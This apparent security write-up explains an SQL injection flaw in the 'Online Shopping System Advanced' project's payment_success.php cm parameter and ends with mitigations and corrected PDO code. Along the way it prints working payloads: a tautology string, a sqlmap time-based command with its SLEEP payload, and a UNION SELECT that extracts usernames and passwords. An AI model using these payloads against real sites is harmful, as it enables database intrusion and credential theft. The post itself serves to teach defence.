Online Shopping System Advanced - Sql Injection

SQL Injection in Online Shopping Systems: A Deep Dive into the Advanced Vulnerability

SQL injection remains one of the most prevalent and dangerous web application vulnerabilities, especially in systems handling sensitive user data like online shopping platforms. The Online Shopping System Advanced—a publicly available open-source project—exposes a critical flaw in its payment_success.php file, allowing attackers to execute malicious SQL commands through the cm parameter. This vulnerability enables unauthorized access to database contents, including user credentials, and highlights the importance of secure coding practices.

Understanding the Vulnerability

The core issue lies in how user input is handled in the following code snippet:

if ($p_st == "Completed") {
    include_once("db.php");
    $sql = "SELECT p_id,qty FROM cart WHERE user_id = '$cm_user_id'";
}

This code constructs a SQL query using the $cm_user_id value directly from the GET parameter cm. No input sanitization or parameterized queries are applied. As a result, an attacker can inject arbitrary SQL code, such as:

cm=1' OR '1'='1

When this payload is sent, the resulting query becomes:

SELECT p_id,qty FROM cart WHERE user_id = '1' OR '1'='1'

This query will return all records from the cart table, effectively bypassing the intended user_id restriction. This is a classic example of unfiltered input leading to SQL injection.

Exploitation and Proof of Concept

Using sqlmap, a powerful automated SQL injection tool, the vulnerability was confirmed through a time-based blind injection technique:

sqlmap.py -u "http://localhost/online-shopping-system-advanced/payment_success.php?st=Completed&cm=1" -p cm --dbms=mysql -technique=T --proxy=http://127.0.0.1:8080

The tool identified the cm parameter as vulnerable and successfully exploited it via the SLEEP(5) function:

Payload: st=Completed&cm=1' AND (SELECT 1415 FROM (SELECT(SLEEP(5)))NRHH) AND 'jLpV'='jLpV

This payload triggers a delay in the database response if the condition is true, confirming that the server is vulnerable to SQL injection. The time-based response allows sqlmap to infer the database's behavior without direct output, making it effective even when the application does not display error messages.

Real-World Implications

While the Online Shopping System Advanced is a demo project, the same vulnerability could exist in production systems. Consider a real-world scenario:

• An attacker injects cm=1' UNION SELECT username,password FROM users-- into the URL.
• The resulting query retrieves sensitive data from the users table.
• With stolen credentials, the attacker can impersonate users, modify orders, or even access admin accounts.

This demonstrates how a single vulnerability can lead to full database compromise, especially if the database contains user passwords, credit card information, or personal details.

Best Practices and Mitigation Strategies

To prevent such vulnerabilities, developers must adopt secure coding practices. Below are essential recommendations:

Practice	Description
Parameterized Queries	Use prepared statements to separate SQL logic from user input. This prevents injection by treating input as data, not code.
Input Sanitization	Validate and sanitize input before processing. Ensure that only expected values (e.g., integers) are accepted.
Least Privilege	Database users should have minimal permissions. Avoid granting full access to application accounts.
Web Application Firewalls (WAF)	Deploy WAFs like ModSecurity to detect and block SQL injection attempts in real time.

Corrected Code Example

Here’s a secure version of the vulnerable code using parameterized queries:

if ($p_st == "Completed") {
    include_once("db.php");
    $stmt = $pdo->prepare("SELECT p_id, qty FROM cart WHERE user_id = ?");
    $stmt->execute([$cm_user_id]);
    $result = $stmt->fetchAll();
}

Explanation: This code uses PDO (PHP Data Objects) with a prepared statement. The ? placeholder ensures that $cm_user_id is treated as a parameter, not part of the SQL string. Even if an attacker sends cm=1' OR '1'='1, the database will treat it as a literal string, not executable SQL. This eliminates the risk of injection.

Conclusion

SQL injection vulnerabilities in online shopping systems are not just theoretical risks—they can lead to real data breaches, financial loss, and reputational damage. The Online Shopping System Advanced serves as a cautionary example of how poor input handling can compromise security. Developers must prioritize secure coding, use parameterized queries, and conduct regular penetration testing. By doing so, they can protect user data and maintain trust in digital commerce platforms.